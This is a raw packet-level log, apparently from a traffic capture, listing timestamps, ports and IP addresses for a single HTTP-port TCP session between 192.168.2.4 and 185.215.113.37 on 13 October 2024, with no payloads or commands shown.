Oct 13, 2024 06:54:15.536350012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536350965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536369085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536381960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536417961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536434889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536451101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536458015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536473036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536500931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536514044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536552906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536566019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536586046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536622047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536634922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536643982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536684990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536719084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536730051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536740065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536751986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536782026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536784887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536825895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536854029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536854029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536856890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536890030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536891937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536902905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536922932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536946058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536956072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.536987066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.536990881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537024021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537044048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537055016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537055016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537086010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537089109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537122011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537153959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537170887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537170887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537172079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537188053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537216902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537220955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537234068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537254095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537264109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537286997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537317991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537345886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537350893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537362099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537384033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537384987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537405014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537416935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537450075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537458897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537482977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537483931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537509918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537533998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537548065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537585974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537605047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537616968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537636995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537652016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537672043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537703037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537707090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537735939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537786007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537791014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537802935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537822008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537852049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537885904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537905931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537919998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537926912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537940979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.537940979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537957907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537971973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.537986994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538001060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538014889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538027048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538041115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538047075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.538047075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.538047075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.538057089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538072109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538084984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.538085938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.538086891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538103104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538110018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538125038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538139105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538153887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538161993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.538161993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.538167000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538184881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538198948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538216114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.538227081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538243055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538249969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.538249969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.538259029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538275003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.538392067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.538392067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.622652054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.622725010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.622788906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.622823954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.622843027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.622859001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.622872114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.622910023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.622942924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.622955084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.622992039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.622998953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.623011112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.623025894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.623063087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.623071909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.623095036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.623120070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.623153925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.623151064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.623189926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.623193026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.623224974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.623256922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.623331070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.623331070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.623331070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.623331070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.723792076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.728935003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.948966026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949064970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949079990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949095964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949110031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949125051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949140072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949182034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949183941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949183941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949184895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949184895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949184895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949184895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949198008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949214935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949229956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949244976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949259043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949275017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949289083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949302912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949317932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949341059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949353933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949368000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949377060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949377060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949377060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949377060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949377060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949377060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949383974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949399948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949408054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949417114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949431896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949446917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949460030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949474096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949491024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949505091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949517012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949517012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949517012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949517012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949517012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949520111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949533939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949549913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949564934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949579000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949592113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949605942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949620008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949642897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949656010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949671984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949685097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949687958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949688911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949688911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949688911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949688911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949688911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949700117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949716091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949731112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949744940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949745893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949745893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949759960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949774981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949793100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949809074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949822903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949836969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949841022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949841022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949841022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.949956894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949981928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.949995995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950027943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950027943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950027943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950027943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950027943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950056076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950071096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950076103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950076103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950086117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950098991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950110912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950124025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950125933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950141907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950155973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950169086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950184107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950200081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950222969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950237036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950252056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950258017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950258017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950258017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950258017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950258017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950258017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950277090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950292110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950295925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950308084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950323105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950336933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950351000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950364113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950378895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950392962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950407028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950419903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950433969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950440884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950442076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950442076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950442076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950442076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950442076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950450897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950465918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950474977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950480938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950495958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950496912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950512886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950526953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950540066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950556040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950568914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950582981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950598955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950609922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950609922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950609922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950609922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950609922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950613976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950628996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950644016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950658083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.950666904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950676918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950685024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.950719118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.955231905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955252886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955269098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955288887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955303907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955317974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955332041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955344915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.955346107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.955346107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.955346107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.955360889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955368996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.955379009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955396891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955410004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.955425024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955427885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.955441952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955450058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.955457926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955472946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955487967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955502033 CEST	80	49730	185.215.113.37	192.168.2.4
